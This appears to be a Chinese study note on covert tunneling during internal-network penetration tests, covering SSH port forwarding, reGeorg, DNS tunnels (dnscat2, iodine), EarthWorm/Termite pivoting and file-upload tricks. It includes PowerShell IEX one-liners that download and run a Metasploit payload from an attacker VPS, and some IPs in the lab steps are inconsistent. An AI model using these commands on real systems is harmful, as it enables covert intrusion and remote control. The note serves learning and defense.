內網滲透基石篇--隱藏通信隧道技術
一. 應用層隧道技術
1. ssh隧道
建立雙向安全隧道
將其他TCP端口的通信通過SSH連接轉發
用SSH作為傳輸層協議,對流量自動加解密
突破防火墻訪問規則的限制
SSH本地端口轉發
本機偵聽端口,訪問轉發到遠程主機指定端口
ssh -L -CfN <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port> #能夠共享該隧道 ssh -L -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port> 基于建立起來的SSH隧道,隧道中斷則端口轉發中斷
只能在建立隧道時創建轉發,不能為已有隧道增加端口轉發
遠程端口轉發
遠程偵聽端口,訪問轉發到本機主機指定端口
ssh -R -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port> 內網為服務器
動態端口轉發
本地偵聽socks4/5代理端口,由SSH server決定如何轉發
ssh -CfNg -D <listen port> user@<ssh server> -p <ssh server port> shsh root@x.x.1.1 -C 壓縮傳輸
-f 將SSH傳輸轉入后臺執行
-N 建立靜默連接
-g 允許遠程主機連接本地用于轉發的端口
-L 本地端口轉發
11001 本地端口
實驗1:本地轉發
1.kali 10.10.10.128
2.centos7 10.10.10.133
3.win7 10.10.10.147
-C 壓縮傳輸
-f 將SSH傳輸轉入后臺執行
-N 建立靜默連接
-g 允許遠程主機連接本地用于轉發的端口
-L 本地端口轉發
11001 本地端口
192.168.160.139:3389 目標主機:目標端口
XXX@10.10.10.133跳板機
運行命令,輸入跳板機的ssh登陸密碼,就可以了
1.ssh -CfNg -L 11001:10.10.10.128:3389 XXX@10.10.10.133

2.連接本地的11001端口,就會自動通過跳板機,連接到目標機的3389端口
rdesktop 127.0.0.1:11001
3.成功彈窗

4.成功遠程登錄

實驗2:遠程轉發
第一步:在跳板機ubuntu18上運行SSH遠程轉發命令
-R 遠程端口轉發
11111 kali rolling上的端口
192.168.160.139:3389 目標主機:目標端口
root@192.168.160.140
kali rolling
運行命令,輸入kali rolling的ssh登陸密碼,就可以了
ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140 第二步:在kali rolling上通過rdesktop連接本地的11111端口
連接本地的11001端口,就會自動通過跳板機,連接到目標機的3389端口
rdesktop 127.0.0.1:11111
2.防御ssh隧道攻擊的思路
產生原因:因為系統被攻擊者利用,主要是因為系統訪問控制措施不夠。
解決措施:
1.建立帶外管理的網絡結構
2.在內網中限制ssh遠程登錄的地址及雙向訪問控制策略。
二、 http/https協議
http service代理用于將所有的流量轉發到內網。常見的代理工具有reGeorg、meterpeter、tunna等。
實驗:使用regeory工具進行遠程掃描
工具下載地址:https://github.com/sensepost/reGeorg
第一步:在跳板機上傳遞隧道文件

第二步:在kali rolling配置proxychains.conf


第三步:在kali rolling上啟動代理


第四步:在目標機器開啟防火墻,阻斷kali rolling的訪問

第五步:在kali rolling上探測目標機器開放的端口

三. DNs協議
定義:Dns協議是一種請求/應答協議,也是一種可用于應用層的隧道技術。雖然激增的dns流量可能會被發現,但基于傳統socket隧道已經瀕臨淘汰及tcp、udp通信大量被防御系統攔截的狀況。
dns是一個必不可少的服務,另一方面,dns報文本身具有穿透防火墻的能力。
用于管理僵尸網絡和進行apt攻擊的服務器叫做C&C服務器。C&C節點分為兩種,分別是c&C客戶端和c&c服務端。
c&C通信是指植入c&c客戶端的木馬或者后門程序與c&C服務端上的遠程控制程序之間的通信。
正常網絡之間的通信,都是在tcp間建立tcp連接后進行的。在進行數據通信時:如果目標是ip地址,可以直接發送報文;
內網中安裝了各種軟/硬件防護措施來檢查主機與外部網絡的連接情況。

域名型dns隧道木馬
1.查看dns的連通性

2.dnscat2 軟件
模式:直連模式和中繼模式。
特點:
支持多個會話
流量加密
使用密鑰防止MITM攻擊
在內存中直接執行Powershell 腳本
隱蔽通信
安裝使用步驟:
(1) 部署域名解析
(2)安裝dnscat2 服務端
(3)在目標主機上安裝客戶端
(4) 反彈shell
3.iodine
(1)安裝服務端

運行iodine服務端iodined
iodined -f -c -P Micr067 192.168.0.1 vpn.abc.com -DD
-f:在前臺運行
-c:禁止檢查所有傳入請求的客戶端IP地址。
-P:客戶端和服務端之間用于驗證身份的密碼。
-D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。
這里的192.168.0.1是自定義的局域網虛擬IP地址。

(2)安裝客戶端
linux環境:
iodine -f -P Micr067 vpn.abc.ltd -M 200
-r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數的作用是強制在任何情況下使用DNS隧道
-M:指定上行主機的大小。
-m:調節最大下行分片的大小。
-T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定數據編碼規范。
-L:指定是否開啟懶惰模式,默認開啟。
-I:指定兩個請求之間的時間間隔。
windows環境:
windows客戶端可以直接使用編譯好的windows版本,同時需要安裝TAP網卡驅動程序。也可以下載OpenVPN,在安裝時僅選擇TAP-Win32驅動程序,安裝后服務器上就會多出一塊“TAP-Wndows ADApter V9”的網卡。
運行客戶端程序iodine,如果出現提示“Connection setup complete, transmitting data”,就表示DNS隧道已經建立。
iodine -f -P Micr067 vpn.abc.com

(3)使用dns隧道
DNS隧道的使用方法比較簡單,由于客戶端和服務端在同一局域網中,只要直接訪問服務端即可,例如,登錄目標主機的3389端口,就可以直接執行 mstsc 10.0.0.1:3389。同樣,目標主機也可以直接通過ssh登錄服務端。
(4)防御DNS隧道攻擊的方法
1.禁止網絡中任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信。
2.雖然沒有人會將TXT解析請求發送給DNS服務器,但是郵件服務器/網關會這樣做,因此,可以將郵件服務器/網關列入白名單并阻止傳入和傳出流量中的TXT請求。
3.跟蹤用戶的DNS查詢次數,如果達到閾值,就生成相應的報告。
四、 Socks代理
1.服務器在內網中,可以任意訪問外部網絡
2.服務器在內網中,可以訪問外部網絡,但服務器安裝了防火墻來拒絕敏感端口的連接。
3.服務器在內網中,對外開放了部分端口,且服務器不能訪問外部網絡。
1. 常用Socks代理工具
1.EarthWorm
2.reGEorg
3.sSocks
4.SocksCap64
5.Proxifier
6.ProxyChains
2. Socks代理技術在網絡環境中的應用
1.EarthWorm的應用
-l 開放指定端口監聽 -d 指定轉發或反彈的主機地址 -e 指定轉發或反彈的主機端口 -f 指定連接或映射的主機地址 -g 指定連接或映射的主機端口 -t 設置超時時間 Termite工具基本用法如下
1.服務端以服務模式啟動一個agent服務,開啟監聽8888端口
./agent_exe -l 8888
2.管理端連接到agent并對agent進行管理
./admin_exe -c 127.0.0.1 -p 8888
3.此時,管理端端會得到一個內置的shell, 輸入help指令可以得到幫助信息
help
4.通過show指令可以得到當前agent的拓撲情況。
show
5.將新agent加入當前拓撲
./agent_exe -c 127.0.0.1 -p 8888
6.此時show指令將得到如下效果 0M +– 1M | +– 2M 這表明,當前拓撲中有兩個節點,其中由于2節點需要通過1節點才能訪問,所以下掛在1節點下方。
7.在2節點開啟socks代理,并綁定在本地端口
goto 2 //將當前被管理節點切換為 2 號節點 socks 1080 //本地1080 端口會啟動個監聽服務,而服務提供者為2號節點。
8.在1號節點開啟一個shell并綁定到本地端口
goto 1 //將當前被管理節點切換為 1 號節點 shell 7777 //過nc本地的 7777 端口,就可以得到一個 1 節點提供的 shell.
9.將遠程的文件下載至本地
goto 1 downfile 1.txt 2.txt //將1 節點,目錄下的 1.txt 下載至本地,并命名為2.txt
10.上傳文件至遠程節點
goto 2 upfile 2.txt 3.txt //將本地的 2.txt 上傳至 2號節點的目錄,并命名為3.txt
11.端口轉接
goto 2 lcxtran 3388 10.0.0.1 3389 //以2號節點為跳板,將 10.0.0.1 的 3389 端口映射至本地的 3388 端口
2.ew的使用步驟
(1)正向socks5服務器
ew -s ssocked -l 888
(2)反彈socks5服務器
ew -s resocks -d x.x.x.x -e 888
(3)二級網絡環境a

(4)二級網絡環境b

(5)三級網絡環境

五、 壓縮數據
1. RAR
參數說明:
-a:添加要壓縮的文件。
-k:鎖定壓縮文件
-s:生成存檔文件(這樣可以提高壓縮比)。
-p:指定壓縮密碼
-r:遞歸壓縮,包括子目錄
-x:指定要排除的文件
-v:分卷打包,在打包大文件時用處很大。
-ep:從名稱中排除路徑。
-epl:從名稱中排除基本目錄
-mO:存儲,添加到壓縮文件時不壓縮文件。
-ml:最快,使用最快壓縮方式(低壓縮比)
-m2:較快,使用快速壓縮方式。
-m3:標準,使用標準壓縮方式(默認)
-m4:較好,使用較強壓縮方式(速度較慢)
-m5:最好,使用最強壓縮方式(最好的壓縮方式,但速度最慢)。
1.以rar文件格式壓縮

2.分卷壓縮

六、 上傳和下載
1. 利用ftp協議上傳
常用的 FTP 命令:
open :連接指定的FTP服務器
cd:進入指定的目錄
put/send <本地文件> <遠程目錄>:將目標機器本地文件上傳到服務器遠程目錄 // send和put方法用法都基本相同,但是上傳速度send卻要比put快很多
get <遠程文件> <本地目錄>:將ftp服務器上的文件下載到本地目標機器中
2.利用Debug上傳
DEBUG是一個DOS實用程序,是供程序員使用的程序調試工具,可以用它檢查內存中任何地方的字節以及修改任何地方的字節。它可以用于逐指令執行某個程序以驗證程序運行的正確性,也可以追蹤執行過程、比較一個指令執行前后的值以及比較與移動內存中數據的范圍,讀寫文件與磁盤扇區。
我們利用Debug向目標主機上傳文件的原理就是,先將需要上傳的exe文件轉換為十六進制hex的格式,將hex的內容復制,再通過echo命令將hex內容寫入到目標主機上的一個文件中,最后利用debug將hex內容編譯成exe文件。
接下來,我們將nc.exe工具利用debug上傳至目標主機。
我們使用kali中的exe2bat.exe工具(位于/usr/share/windows-binaries目錄下)將二進制的nc.exe轉換成16進制的表示,由于exe2bat是windows程序,所以在kali上我們要用wine來執行(linux是不能運行window下的可執行文件的,必須借助于wine):
wine exe2bat.exe nc.exe nc.txt


3. 利用NIshang上傳
Download_Execute是Nishang中一個下載執行腳本,它在實戰中最常用的功能就是下載一個文本文件,然后將其轉換為exe可執行文件執行。
第一步:首先攻擊者在本地用Nishang中的exetotext.ps1腳本將exe可執行文件更改為文本文件(這里我們的exe為msf生成的shell.exe)
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Utility/ExetoText.ps1');ExetoText c:\shell.exe c:\shell.txt"
第二步:將生成的shell.txt放到vps上面,然后在目標主機上面用Download_Execute腳本下載改shell.txt,將其轉化為exe后執行
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Execution/Download_Execute.ps1');Download_Execute http://39.xxx.xxx.210/shell.txt

4. 利用bitsadmin上傳YY6 03.7.6 利用powershell 上傳
bitsadmin 可以用來在windows 命令行下下載文件。bitsadmin是 windows 后臺智能傳輸服務的一個工具,windows 的自動更新,補丁之類的下載就是用這個工具來實現的。Windows Server2003和XP是沒有bitsadmin的,Winc7及其之后的機器才有。bitsadmin 可以在網絡不穩定的狀態下下載文件,出錯會自動重試,可靠性應該相當不錯。

總結
內網隱藏通信隧道就學到這里了,中間參考了一些大佬的思路。中途做了幾個實驗,用來學習一些常用工具的使用,工具只有在使用的時候我覺得理解的更快啊!
